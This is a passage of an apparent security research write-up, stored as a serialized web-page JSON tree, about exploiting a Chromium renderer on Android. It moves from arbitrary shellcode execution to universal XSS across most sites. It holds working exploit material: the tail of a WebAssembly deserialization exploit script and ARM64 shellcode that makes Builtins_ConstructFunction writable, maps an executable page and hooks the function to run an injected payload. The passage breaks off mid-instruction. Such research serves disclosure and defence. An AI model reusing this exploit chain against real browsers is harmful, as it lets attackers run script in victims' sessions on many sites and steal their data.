,{"type":22,"tag":101,"props":142317,"children":142318},{"style":120},[142319],{"type":27,"value":758},{"type":22,"tag":101,"props":142321,"children":142322},{"style":1544},[142323],{"type":27,"value":142290},{"type":22,"tag":101,"props":142325,"children":142326},{"style":120},[142327],{"type":27,"value":758},{"type":22,"tag":101,"props":142329,"children":142330},{"style":1544},[142331],{"type":27,"value":142232},{"type":22,"tag":101,"props":142333,"children":142334},{"style":120},[142335],{"type":27,"value":758},{"type":22,"tag":101,"props":142337,"children":142338},{"style":1544},[142339],{"type":27,"value":142241},{"type":22,"tag":101,"props":142341,"children":142342},{"style":120},[142343],{"type":27,"value":758},{"type":22,"tag":101,"props":142345,"children":142346},{"style":1544},[142347],{"type":27,"value":142348},"193",{"type":22,"tag":101,"props":142350,"children":142351},{"style":120},[142352],{"type":27,"value":758},{"type":22,"tag":101,"props":142354,"children":142355},{"style":1544},[142356],{"type":27,"value":142357},"168",{"type":22,"tag":101,"props":142359,"children":142360},{"style":120},[142361],{"type":27,"value":179},{"type":22,"tag":101,"props":142363,"children":142364},{"class":103,"line":1118},[142365,142370,142374,142378,142382,142386,142390,142394,142398,142402,142406,142410,142414,142418,142422,142427,142431,142435,142439,142443,142447,142451,142455,142459,142463,142467,142471,142475,142479,142483,142487,142491,142495,142499,142503,142507,142511,142515,142519,142523,142527,142531,142535,142539,142543,142547,142551,142555,142559,142563,142567,142571,142575,142579],{"type":22,"tag":101,"props":142366,"children":142367},{"style":1544},[142368],{"type":27,"value":142369}," 255",{"type":22,"tag":101,"props":142371,"children":142372},{"style":120},[142373],{"type":27,"value":758},{"type":22,"tag":101,"props":142375,"children":142376},{"style":1544},[142377],{"type":27,"value":142167},{"type":22,"tag":101,"props":142379,"children":142380},{"style":120},[142381],{"type":27,"value":758},{"type":22,"tag":101,"props":142383,"children":142384},{"style":1544},[142385],{"type":27,"value":21293},{"type":22,"tag":101,"props":142387,"children":142388},{"style":120},[142389],{"type":27,"value":758},{"type":22,"tag":101,"props":142391,"children":142392},{"style":1544},[142393],{"type":27,"value":142117},{"type":22,"tag":101,"props":142395,"children":142396},{"style":120},[142397],{"type":27,"value":758},{"type":22,"tag":101,"props":142399,"children":142400},{"style":1544},[142401],{"type":27,"value":138052},{"type":22,"tag":101,"props":142403,"children":142404},{"style":120},[142405],{"type":27,"value":758},{"type":22,"tag":101,"props":142407,"children":142408},{"style":1544},[142409],{"type":27,"value":21293},{"type":22,"tag":101,"props":142411,"children":142412},{"style":120},[142413],{"type":27,"value":758},{"type":22,"tag":101,"props":142415,"children":142416},{"style":1544},[142417],{"type":27,"value":142091},{"type":22,"tag":101,"props":142419,"children":142420},{"style":120},[142421],{"type":27,"value":758},{"type":22,"tag":101,"props":142423,"children":142424},{"style":1544},[142425],{"type":27,"value":142426},"214",{"type":22,"tag":101,"props":142428,"children":142429},{"style":120},[142430],{"type":27,"value":758},{"type":22,"tag":101,"props":142432,"children":142433},{"style":1544},[142434],{"type":27,"value":100174},{"type":22,"tag":101,"props":142436,"children":142437},{"style":120},[142438],{"type":27,"value":758},{"type":22,"tag":101,"props":142440,"children":142441},{"style":1544},[142442],{"type":27,"value":64344},{"type":22,"tag":101,"props":142444,"children":142445},{"style":120},[142446],{"type":27,"value":758},{"type":22,"tag":101,"props":142448,"children":142449},{"style":1544},[142450],{"type":27,"value":21293},{"type":22,"tag":101,"props":142452,"children":142453},{"style":120},[142454],{"type":27,"value":758},{"type":22,"tag":101,"props":142456,"children":142457},{"style":1544},[142458],{"type":27,"value":142117},{"type":22,"tag":101,"props":142460,"children":142461},{"style":120},[142462],{"type":27,"value":758},{"type":22,"tag":101,"props":142464,"children":142465},{"style":1544},[142466],{"type":27,"value":21526},{"type":22,"tag":101,"props":142468,"children":142469},{"style":120},[142470],{"type":27,"value":758},{"type":22,"tag":101,"props":142472,"children":142473},{"style":1544},[142474],{"type":27,"value":8065},{"type":22,"tag":101,"props":142476,"children":142477},{"style":120},[142478],{"type":27,"value":758},{"type":22,"tag":101,"props":142480,"children":142481},{"style":1544},[142482],{"type":27,"value":8065},{"type":22,"tag":101,"props":142484,"children":142485},{"style":120},[142486],{"type":27,"value":758},{"type":22,"tag":101,"props":142488,"children":142489},{"style":1544},[142490],{"type":27,"value":8065},{"type":22,"tag":101,"props":142492,"children":142493},{"style":120},[142494],{"type":27,"value":758},{"type":22,"tag":101,"props":142496,"children":142497},{"style":1544},[142498],{"type":27,"value":8065},{"type":22,"tag":101,"props":142500,"children":142501},{"style":120},[142502],{"type":27,"value":758},{"type":22,"tag":101,"props":142504,"children":142505},{"style":1544},[142506],{"type":27,"value":8065},{"type":22,"tag":101,"props":142508,"children":142509},{"style":120},[142510],{"type":27,"value":758},{"type":22,"tag":101,"props":142512,"children":142513},{"style":1544},[142514],{"type":27,"value":8065},{"type":22,"tag":101,"props":142516,"children":142517},{"style":120},[142518],{"type":27,"value":758},{"type":22,"tag":101,"props":142520,"children":142521},{"style":1544},[142522],{"type":27,"value":8065},{"type":22,"tag":101,"props":142524,"children":142525},{"style":120},[142526],{"type":27,"value":758},{"type":22,"tag":101,"props":142528,"children":142529},{"style":1544},[142530],{"type":27,"value":8065},{"type":22,"tag":101,"props":142532,"children":142533},{"style":120},[142534],{"type":27,"value":758},{"type":22,"tag":101,"props":142536,"children":142537},{"style":1544},[142538],{"type":27,"value":21526},{"type":22,"tag":101,"props":142540,"children":142541},{"style":120},[142542],{"type":27,"value":758},{"type":22,"tag":101,"props":142544,"children":142545},{"style":1544},[142546],{"type":27,"value":8065},{"type":22,"tag":101,"props":142548,"children":142549},{"style":120},[142550],{"type":27,"value":758},{"type":22,"tag":101,"props":142552,"children":142553},{"style":1544},[142554],{"type":27,"value":8065},{"type":22,"tag":101,"props":142556,"children":142557},{"style":120},[142558],{"type":27,"value":758},{"type":22,"tag":101,"props":142560,"children":142561},{"style":1544},[142562],{"type":27,"value":8065},{"type":22,"tag":101,"props":142564,"children":142565},{"style":120},[142566],{"type":27,"value":758},{"type":22,"tag":101,"props":142568,"children":142569},{"style":1544},[142570],{"type":27,"value":8065},{"type":22,"tag":101,"props":142572,"children":142573},{"style":120},[142574],{"type":27,"value":758},{"type":22,"tag":101,"props":142576,"children":142577},{"style":1544},[142578],{"type":27,"value":8065},{"type":22,"tag":101,"props":142580,"children":142581},{"style":120},[142582],{"type":27,"value":179},{"type":22,"tag":101,"props":142584,"children":142585},{"class":103,"line":1158},[142586,142590,142594,142598,142602,142606,142610,142614,142618,142622,142626,142631,142635,142640,142644,142649,142653,142657],{"type":22,"tag":101,"props":142587,"children":142588},{"style":1544},[142589],{"type":27,"value":137704},{"type":22,"tag":101,"props":142591,"children":142592},{"style":120},[142593],{"type":27,"value":758},{"type":22,"tag":101,"props":142595,"children":142596},{"style":1544},[142597],{"type":27,"value":8065},{"type":22,"tag":101,"props":142599,"children":142600},{"style":120},[142601],{"type":27,"value":758},{"type":22,"tag":101,"props":142603,"children":142604},{"style":1544},[142605],{"type":27,"value":8065},{"type":22,"tag":101,"props":142607,"children":142608},{"style":120},[142609],{"type":27,"value":758},{"type":22,"tag":101,"props":142611,"children":142612},{"style":1544},[142613],{"type":27,"value":8065},{"type":22,"tag":101,"props":142615,"children":142616},{"style":120},[142617],{"type":27,"value":758},{"type":22,"tag":101,"props":142619,"children":142620},{"style":1544},[142621],{"type":27,"value":8065},{"type":22,"tag":101,"props":142623,"children":142624},{"style":120},[142625],{"type":27,"value":758},{"type":22,"tag":101,"props":142627,"children":142628},{"style":1544},[142629],{"type":27,"value":142630},"92",{"type":22,"tag":101,"props":142632,"children":142633},{"style":120},[142634],{"type":27,"value":758},{"type":22,"tag":101,"props":142636,"children":142637},{"style":1544},[142638],{"type":27,"value":142639},"50",{"type":22,"tag":101,"props":142641,"children":142642},{"style":120},[142643],{"type":27,"value":758},{"type":22,"tag":101,"props":142645,"children":142646},{"style":1544},[142647],{"type":27,"value":142648},"162",{"type":22,"tag":101,"props":142650,"children":142651},{"style":120},[142652],{"type":27,"value":758},{"type":22,"tag":101,"props":142654,"children":142655},{"style":1544},[142656],{"type":27,"value":8065},{"type":22,"tag":101,"props":142658,"children":142659},{"style":120},[142660],{"type":27,"value":179},{"type":22,"tag":101,"props":142662,"children":142663},{"class":103,"line":1166},[142664],{"type":22,"tag":101,"props":142665,"children":142666},{"style":120},[142667],{"type":27,"value":137991},{"type":22,"tag":101,"props":142669,"children":142670},{"class":103,"line":1215},[142671,142675,142679,142683,142687,142691,142695,142699,142703,142707,142711],{"type":22,"tag":101,"props":142672,"children":142673},{"style":108},[142674],{"type":27,"value":11865},{"type":22,"tag":101,"props":142676,"children":142677},{"style":126},[142678],{"type":27,"value":139444},{"type":22,"tag":101,"props":142680,"children":142681},{"style":166},[142682],{"type":27,"value":960},{"type":22,"tag":101,"props":142684,"children":142685},{"style":926},[142686],{"type":27,"value":139453},{"type":22,"tag":101,"props":142688,"children":142689},{"style":120},[142690],{"type":27,"value":980},{"type":22,"tag":101,"props":142692,"children":142693},{"style":126},[142694],{"type":27,"value":137322},{"type":22,"tag":101,"props":142696,"children":142697},{"style":120},[142698],{"type":27,"value":758},{"type":22,"tag":101,"props":142700,"children":142701},{"style":126},[142702],{"type":27,"value":128649},{"type":22,"tag":101,"props":142704,"children":142705},{"style":120},[142706],{"type":27,"value":231},{"type":22,"tag":101,"props":142708,"children":142709},{"style":126},[142710],{"type":27,"value":128649},{"type":22,"tag":101,"props":142712,"children":142713},{"style":120},[142714],{"type":27,"value":994},{"type":22,"tag":101,"props":142716,"children":142717},{"class":103,"line":2425},[142718,142722,142726,142730,142734,142738,142742,142746,142750,142754],{"type":22,"tag":101,"props":142719,"children":142720},{"style":126},[142721],{"type":27,"value":139489},{"type":22,"tag":101,"props":142723,"children":142724},{"style":166},[142725],{"type":27,"value":960},{"type":22,"tag":101,"props":142727,"children":142728},{"style":120},[142729],{"type":27,"value":3603},{"type":22,"tag":101,"props":142731,"children":142732},{"style":3595},[142733],{"type":27,"value":36912},{"type":22,"tag":101,"props":142735,"children":142736},{"style":126},[142737],{"type":27,"value":139444},{"type":22,"tag":101,"props":142739,"children":142740},{"style":120},[142741],{"type":27,"value":231},{"type":22,"tag":101,"props":142743,"children":142744},{"style":926},[142745],{"type":27,"value":61562},{"type":22,"tag":101,"props":142747,"children":142748},{"style":120},[142749],{"type":27,"value":139518},{"type":22,"tag":101,"props":142751,"children":142752},{"style":126},[142753],{"type":27,"value":43146},{"type":22,"tag":101,"props":142755,"children":142756},{"style":120},[142757],{"type":27,"value":1520},{"type":22,"tag":101,"props":142759,"children":142760},{"class":103,"line":5417},[142761,142765,142769,142773,142777,142782,142786,142790],{"type":22,"tag":101,"props":142762,"children":142763},{"style":126},[142764],{"type":27,"value":105451},{"type":22,"tag":101,"props":142766,"children":142767},{"style":120},[142768],{"type":27,"value":231},{"type":22,"tag":101,"props":142770,"children":142771},{"style":926},[142772],{"type":27,"value":105460},{"type":22,"tag":101,"props":142774,"children":142775},{"style":120},[142776],{"type":27,"value":980},{"type":22,"tag":101,"props":142778,"children":142779},{"style":6476},[142780],{"type":27,"value":142781},"'DeserializeWasmModule result: '",{"type":22,"tag":101,"props":142783,"children":142784},{"style":166},[142785],{"type":27,"value":3643},{"type":22,"tag":101,"props":142787,"children":142788},{"style":126},[142789],{"type":27,"value":13168},{"type":22,"tag":101,"props":142791,"children":142792},{"style":120},[142793],{"type":27,"value":994},{"type":22,"tag":101,"props":142795,"children":142796},{"class":103,"line":7714},[142797,142801,142805,142809,142813,142817,142821,142825,142829,142833],{"type":22,"tag":101,"props":142798,"children":142799},{"style":108},[142800],{"type":27,"value":40185},{"type":22,"tag":101,"props":142802,"children":142803},{"style":126},[142804],{"type":27,"value":139538},{"type":22,"tag":101,"props":142806,"children":142807},{"style":166},[142808],{"type":27,"value":960},{"type":22,"tag":101,"props":142810,"children":142811},{"style":108},[142812],{"type":27,"value":35929},{"type":22,"tag":101,"props":142814,"children":142815},{"style":126},[142816],{"type":27,"value":137305},{"type":22,"tag":101,"props":142818,"children":142819},{"style":120},[142820],{"type":27,"value":231},{"type":22,"tag":101,"props":142822,"children":142823},{"style":926},[142824],{"type":27,"value":137359},{"type":22,"tag":101,"props":142826,"children":142827},{"style":120},[142828],{"type":27,"value":980},{"type":22,"tag":101,"props":142830,"children":142831},{"style":126},[142832],{"type":27,"value":13090},{"type":22,"tag":101,"props":142834,"children":142835},{"style":120},[142836],{"type":27,"value":994},{"type":22,"tag":101,"props":142838,"children":142839},{"class":103,"line":7723},[142840,142844,142848,142852,142856,142860,142864,142868,142872],{"type":22,"tag":101,"props":142841,"children":142842},{"style":108},[142843],{"type":27,"value":40185},{"type":22,"tag":101,"props":142845,"children":142846},{"style":126},[142847],{"type":27,"value":36967},{"type":22,"tag":101,"props":142849,"children":142850},{"style":166},[142851],{"type":27,"value":960},{"type":22,"tag":101,"props":142853,"children":142854},{"style":126},[142855],{"type":27,"value":139538},{"type":22,"tag":101,"props":142857,"children":142858},{"style":120},[142859],{"type":27,"value":231},{"type":22,"tag":101,"props":142861,"children":142862},{"style":126},[142863],{"type":27,"value":41882},{"type":22,"tag":101,"props":142865,"children":142866},{"style":120},[142867],{"type":27,"value":231},{"type":22,"tag":101,"props":142869,"children":142870},{"style":126},[142871],{"type":27,"value":137408},{"type":22,"tag":101,"props":142873,"children":142874},{"style":120},[142875],{"type":27,"value":1520},{"type":22,"tag":101,"props":142877,"children":142878},{"class":103,"line":7791},[142879,142883,142887,142891,142895,142899],{"type":22,"tag":101,"props":142880,"children":142881},{"style":126},[142882],{"type":27,"value":105451},{"type":22,"tag":101,"props":142884,"children":142885},{"style":120},[142886],{"type":27,"value":231},{"type":22,"tag":101,"props":142888,"children":142889},{"style":926},[142890],{"type":27,"value":105460},{"type":22,"tag":101,"props":142892,"children":142893},{"style":120},[142894],{"type":27,"value":980},{"type":22,"tag":101,"props":142896,"children":142897},{"style":126},[142898],{"type":27,"value":37080},{"type":22,"tag":101,"props":142900,"children":142901},{"style":120},[142902],{"type":27,"value":994},{"type":22,"tag":101,"props":142904,"children":142905},{"class":103,"line":7799},[142906],{"type":22,"tag":101,"props":142907,"children":142908},{"style":120},[142909],{"type":27,"value":105492},{"type":22,"tag":23,"props":142911,"children":142912},{},[142913],{"type":27,"value":142914},"And this time, it works as expected:",{"type":22,"tag":23,"props":142916,"children":142917},{},[142918],{"type":22,"tag":7959,"props":142919,"children":142922},{"alt":142920,"src":142921},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":22,"tag":1760,"props":142924,"children":142926},{"id":142925},"achieving-universal-xss",[142927],{"type":27,"value":142928},"Achieving Universal XSS",{"type":22,"tag":23,"props":142930,"children":142931},{},[142932,142934,142940,142942,142949],{"type":27,"value":142933},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":22,"tag":80,"props":142935,"children":142938},{"href":142936,"rel":142937},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[84],[142939],{"type":27,"value":73836},{"type":27,"value":142941}," from Tencent Security and ",{"type":22,"tag":80,"props":142943,"children":142946},{"href":142944,"rel":142945},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[84],[142947],{"type":27,"value":142948},"research article",{"type":27,"value":142950}," from InterruptLabs.",{"type":22,"tag":23,"props":142952,"children":142953},{},[142954,142956,142963],{"type":27,"value":142955},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":22,"tag":80,"props":142957,"children":142960},{"href":142958,"rel":142959},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[84],[142961],{"type":27,"value":142962},"weaker version",{"type":27,"value":142964}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":22,"tag":23,"props":142966,"children":142967},{},[142968,142970,142976],{"type":27,"value":142969},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":22,"tag":30,"props":142971,"children":142973},{"className":142972},[],[142974],{"type":27,"value":142975},"Builtins_ConstructFunction",{"type":27,"value":142977},", making it a natural target.",{"type":22,"tag":23,"props":142979,"children":142980},{},[142981,142983,142988],{"type":27,"value":142982},"Our goal is for ",{"type":22,"tag":30,"props":142984,"children":142986},{"className":142985},[],[142987],{"type":27,"value":142975},{"type":27,"value":142989}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":22,"tag":6839,"props":142991,"children":142992},{},[142993,142998,143008],{"type":22,"tag":6832,"props":142994,"children":142995},{},[142996],{"type":27,"value":142997},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS payload",{"type":22,"tag":6832,"props":142999,"children":143000},{},[143001,143003],{"type":27,"value":143002},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":22,"tag":30,"props":143004,"children":143006},{"className":143005},[],[143007],{"type":27,"value":142975},{"type":22,"tag":6832,"props":143009,"children":143010},{},[143011,143013,143018],{"type":27,"value":143012},"The mmap-ed shellcode then returns to the beginning of ",{"type":22,"tag":30,"props":143014,"children":143016},{"className":143015},[],[143017],{"type":27,"value":142975},{"type":27,"value":143019},", which now proceeds normally",{"type":22,"tag":23,"props":143021,"children":143022},{},[143023],{"type":27,"value":143024},"The ARM64 shellcode implementing this looks as follows:",{"type":22,"tag":91,"props":143026,"children":143030},{"code":143027,"language":143028,"meta":7,"className":143029,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[143031],{"type":22,"tag":30,"props":143032,"children":143033},{"__ignoreMap":7},[143034,143042,143050,143058,143066,143073,143081,143089,143097,143105,143112,143120,143128,143136,143144,143152,143159,143167,143175,143183,143191,143199,143207,143214,143222,143229,143237,143245,143253,143260,143268,143276,143284,143292,143299,143306,143313,143320,143328,143336,143344,143351,143359,143367,143374,143382,143390,143398,143405,143413,143421,143429,143437,143444,143451,143459],{"type":22,"tag":101,"props":143035,"children":143036},{"class":103,"line":104},[143037],{"type":22,"tag":101,"props":143038,"children":143039},{},[143040],{"type":27,"value":143041},"// get return addr to x0\n",{"type":22,"tag":101,"props":143043,"children":143044},{"class":103,"line":157},[143045],{"type":22,"tag":101,"props":143046,"children":143047},{},[143048],{"type":27,"value":143049},"ldr x0, [sp, #0x18]\n",{"type":22,"tag":101,"props":143051,"children":143052},{"class":103,"line":182},[143053],{"type":22,"tag":101,"props":143054,"children":143055},{},[143056],{"type":27,"value":143057},"// strip pac signature from return address\n",{"type":22,"tag":101,"props":143059,"children":143060},{"class":103,"line":367},[143061],{"type":22,"tag":101,"props":143062,"children":143063},{},[143064],{"type":27,"value":143065},".arch armv8.3-a; xpaci x0\n",{"type":22,"tag":101,"props":143067,"children":143068},{"class":103,"line":398},[143069],{"type":22,"tag":101,"props":143070,"children":143071},{"emptyLinePlaceholder":15},[143072],{"type":27,"value":1581},{"type":22,"tag":101,"props":143074,"children":143075},{"class":103,"line":428},[143076],{"type":22,"tag":101,"props":143077,"children":143078},{},[143079],{"type":27,"value":143080},"// store x5 = Builtins_ConstructFunction\n",{"type":22,"tag":101,"props":143082,"children":143083},{"class":103,"line":997},[143084],{"type":22,"tag":101,"props":143085,"children":143086},{},[143087],{"type":27,"value":143088},"movz x1, #0x610c\n",{"type":22,"tag":101,"props":143090,"children":143091},{"class":103,"line":1032},[143092],{"type":22,"tag":101,"props":143093,"children":143094},{},[143095],{"type":27,"value":143096},"sub x0, x0, x1\n",{"type":22,"tag":101,"props":143098,"children":143099},{"class":103,"line":1063},[143100],{"type":22,"tag":101,"props":143101,"children":143102},{},[143103],{"type":27,"value":143104},"mov x5, x0\n",{"type":22,"tag":101,"props":143106,"children":143107},{"class":103,"line":1071},[143108],{"type":22,"tag":101,"props":143109,"children":143110},{"emptyLinePlaceholder":15},[143111],{"type":27,"value":1581},{"type":22,"tag":101,"props":143113,"children":143114},{"class":103,"line":1110},[143115],{"type":22,"tag":101,"props":143116,"children":143117},{},[143118],{"type":27,"value":143119},"// store x4 = page aligned ConstructFunction\n",{"type":22,"tag":101,"props":143121,"children":143122},{"class":103,"line":1118},[143123],{"type":22,"tag":101,"props":143124,"children":143125},{},[143126],{"type":27,"value":143127},"movz x1, #0xf000\n",{"type":22,"tag":101,"props":143129,"children":143130},{"class":103,"line":1158},[143131],{"type":22,"tag":101,"props":143132,"children":143133},{},[143134],{"type":27,"value":143135},"movk x1, #0xffff, lsl #16\n",{"type":22,"tag":101,"props":143137,"children":143138},{"class":103,"line":1166},[143139],{"type":22,"tag":101,"props":143140,"children":143141},{},[143142],{"type":27,"value":143143},"movk x1, #0xffff, lsl #32\n",{"type":22,"tag":101,"props":143145,"children":143146},{"class":103,"line":1215},[143147],{"type":22,"tag":101,"props":143148,"children":143149},{},[143150],{"type":27,"value":143151},"and x4, x5, x1\n",{"type":22,"tag":101,"props":143153,"children":143154},{"class":103,"line":2425},[143155],{"type":22,"tag":101,"props":143156,"children":143157},{"emptyLinePlaceholder":15},[143158],{"type":27,"value":1581},{"type":22,"tag":101,"props":143160,"children":143161},{"class":103,"line":5417},[143162],{"type":22,"tag":101,"props":143163,"children":143164},{},[143165],{"type":27,"value":143166},"// mprotect page aligned ConstructFunction RWX\n",{"type":22,"tag":101,"props":143168,"children":143169},{"class":103,"line":7714},[143170],{"type":22,"tag":101,"props":143171,"children":143172},{},[143173],{"type":27,"value":143174},"mov x0, x4\n",{"type":22,"tag":101,"props":143176,"children":143177},{"class":103,"line":7723},[143178],{"type":22,"tag":101,"props":143179,"children":143180},{},[143181],{"type":27,"value":143182},"mov x1, #0x2000\n",{"type":22,"tag":101,"props":143184,"children":143185},{"class":103,"line":7791},[143186],{"type":22,"tag":101,"props":143187,"children":143188},{},[143189],{"type":27,"value":143190},"mov x2, #0x7\n",{"type":22,"tag":101,"props":143192,"children":143193},{"class":103,"line":7799},[143194],{"type":22,"tag":101,"props":143195,"children":143196},{},[143197],{"type":27,"value":143198},"mov x8, #226\n",{"type":22,"tag":101,"props":143200,"children":143201},{"class":103,"line":7829},[143202],{"type":22,"tag":101,"props":143203,"children":143204},{},[143205],{"type":27,"value":143206},"svc #0\n",{"type":22,"tag":101,"props":143208,"children":143209},{"class":103,"line":7837},[143210],{"type":22,"tag":101,"props":143211,"children":143212},{"emptyLinePlaceholder":15},[143213],{"type":27,"value":1581},{"type":22,"tag":101,"props":143215,"children":143216},{"class":103,"line":7868},[143217],{"type":22,"tag":101,"props":143218,"children":143219},{},[143220],{"type":27,"value":143221},"mov x6, x5\n",{"type":22,"tag":101,"props":143223,"children":143224},{"class":103,"line":7876},[143225],{"type":22,"tag":101,"props":143226,"children":143227},{"emptyLinePlaceholder":15},[143228],{"type":27,"value":1581},{"type":22,"tag":101,"props":143230,"children":143231},{"class":103,"line":7936},[143232],{"type":22,"tag":101,"props":143233,"children":143234},{},[143235],{"type":27,"value":143236},"// mmap RWX for jump dest (uxss_sc)\n",{"type":22,"tag":101,"props":143238,"children":143239},{"class":103,"line":13054},[143240],{"type":22,"tag":101,"props":143241,"children":143242},{},[143243],{"type":27,"value":143244},"mov x0, #0\n",{"type":22,"tag":101,"props":143246,"children":143247},{"class":103,"line":13072},[143248],{"type":22,"tag":101,"props":143249,"children":143250},{},[143251],{"type":27,"value":143252},"mov x1, #0x1000\n",{"type":22,"tag":101,"props":143254,"children":143255},{"class":103,"line":13117},[143256],{"type":22,"tag":101,"props":143257,"children":143258},{},[143259],{"type":27,"value":143190},{"type":22,"tag":101,"props":143261,"children":143262},{"class":103,"line":13223},[143263],{"type":22,"tag":101,"props":143264,"children":143265},{},[143266],{"type":27,"value":143267},"mov x3, #34\n",{"type":22,"tag":101,"props":143269,"children":143270},{"class":103,"line":27496},[143271],{"type":22,"tag":101,"props":143272,"children":143273},{},[143274],{"type":27,"value":143275},"mov x4, #-1\n",{"type":22,"tag":101,"props":143277,"children":143278},{"class":103,"line":27531},[143279],{"type":22,"tag":101,"props":143280,"children":143281},{},[143282],{"type":27,"value":143283},"mov x5, #0\n",{"type":22,"tag":101,"props":143285,"children":143286},{"class":103,"line":27539},[143287],{"type":22,"tag":101,"props":143288,"children":143289},{},[143290],{"type":27,"value":143291},"mov x8, #222\n",{"type":22,"tag":101,"props":143293,"children":143294},{"class":103,"line":27547},[143295],{"type":22,"tag":101,"props":143296,"children":143297},{},[143298],{"type":27,"value":143206},{"type":22,"tag":101,"props":143300,"children":143301},{"class":103,"line":27556},[143302],{"type":22,"tag":101,"props":143303,"children":143304},{"emptyLinePlaceholder":15},[143305],{"type":27,"value":1581},{"type":22,"tag":101,"props":143307,"children":143308},{"class":103,"line":27598},[143309],{"type":22,"tag":101,"props":143310,"children":143311},{},[143312],{"type":27,"value":143104},{"type":22,"tag":101,"props":143314,"children":143315},{"class":103,"line":27631},[143316],{"type":22,"tag":101,"props":143317,"children":143318},{"emptyLinePlaceholder":15},[143319],{"type":27,"value":1581},{"type":22,"tag":101,"props":143321,"children":143322},{"class":103,"line":27639},[143323],{"type":22,"tag":101,"props":143324,"children":143325},{},[143326],{"type":27,"value":143327},"// at this point:\n",{"type":22,"tag":101,"props":143329,"children":143330},{"class":103,"line":27647},[143331],{"type":22,"tag":101,"props":143332,"children":143333},{},[143334],{"type":27,"value":143335},"// x6 = Builtins_ConstructFunction\n",{"type":22,"tag":101,"props":143337,"children":143338},{"class":103,"line":27656},[143339],{"type":22,"tag":101,"props":143340,"children":143341},{},[143342],{"type":27,"value":143343},"// x5 = mmap page for uxss_sc\n",{"type":22,"tag":101,"props":143345,"children":143346},{"class":103,"line":27732},[143347],{"type":22,"tag":101,"props":143348,"children":143349},{"emptyLinePlaceholder":15},[143350],{"type":27,"value":1581},{"type":22,"tag":101,"props":143352,"children":143353},{"class":103,"line":27765},[143354],{"type":22,"tag":101,"props":143355,"children":143356},{},[143357],{"type":27,"value":143358},"// write uxss_sc to mmaped rwx page\n",{"type":22,"tag":101,"props":143360,"children":143361},{"class":103,"line":27773},[143362],{"type":22,"tag":101,"props":143363,"children":143364},{},[143365],{"type":27,"value":143366},"{write_sc(uxss_sc, \"x5\")}\n",{"type":22,"tag":101,"props":143368,"children":143369},{"class":103,"line":27781},[143370],{"type":22,"tag":101,"props":143371,"children":143372},{"emptyLinePlaceholder":15},[143373],{"type":27,"value":1581},{"type":22,"tag":101,"props":143375,"children":143376},{"class":103,"line":27818},[143377],{"type":22,"tag":101,"props":143378,"children":143379},{},[143380],{"type":27,"value":143381},"// wipe from cache\n",{"type":22,"tag":101,"props":143383,"children":143384},{"class":103,"line":27831},[143385],{"type":22,"tag":101,"props":143386,"children":143387},{},[143388],{"type":27,"value":143389},"mov x0, x5\n",{"type":22,"tag":101,"props":143391,"children":143392},{"class":103,"line":27844},[143393],{"type":22,"tag":101,"props":143394,"children":143395},{},[143396],{"type":27,"value":143397},"{WIPE_CACHE}\n",{"type":22,"tag":101,"props":143399,"children":143400},{"class":103,"line":27857},[143401],{"type":22,"tag":101,"props":143402,"children":143403},{"emptyLinePlaceholder":15},[143404],{"type":27,"value":1581},{"type":22,"tag":101,"props":143406,"children":143407},{"class":103,"line":27911},[143408],{"type":22,"tag":101,"props":143409,"children":143410},{},[143411],{"type":27,"value":143412},"// patch Builtins_ConstructFunction\n",{"type":22,"tag":101,"props":143414,"children":143415},{"class":103,"line":27920},[143416],{"type":22,"tag":101,"props":143417,"children":143418},{},[143419],{"type":27,"value":143420},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":22,"tag":101,"props":143422,"children":143423},{"class":103,"line":36277},[143424],{"type":22,"tag":101,"props":143425,"children":143426},{},[143427],{"type":27,"value":143428},"// and add a pointer to uxss_sc just above new instructions\n",{"type":22,"tag":101,"props":143430,"children":143431},{"class":103,"line":36298},[143432],{"type":22,"tag":101,"props":143433,"children":143434},{},[143435],{"type":27,"value":143436},"str x5, [x6, #{5 * 